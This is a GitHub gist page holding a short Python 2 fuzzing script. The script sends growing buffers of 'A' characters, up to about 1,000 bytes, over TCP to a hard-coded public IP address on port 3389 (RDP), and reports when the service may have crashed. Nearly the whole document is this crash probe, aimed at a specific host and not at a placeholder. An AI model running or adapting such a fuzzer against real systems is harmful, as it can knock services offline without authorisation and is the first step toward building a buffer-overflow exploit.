Skip to content

Instantly share code, notes, and snippets.

@andripwn
Created July 12, 2020 15:54
Show Gist options
  • Save andripwn/f3c2d6154906a6d50c086fef62f9c4ff to your computer and use it in GitHub Desktop.
Save andripwn/f3c2d6154906a6d50c086fef62f9c4ff to your computer and use it in GitHub Desktop.
#!/usr/bin/python
#https://github.com/gh0x0st
#gh0x0st@protonmail.com
import sys,socket
address = '46.31.116.71'
port = 3389
buffer = ['\x41']
counter = 100
while len(buffer)<= 10:
buffer.append('\x41'*counter)
counter=counter+100
try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((address,port))
s.recv(1024)
s.send(string + '\r\n')
print '[+] Done'
except:
print '[!] Unable to connect to the application. You may have crashed it.'
sys.exit(0)
finally:
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment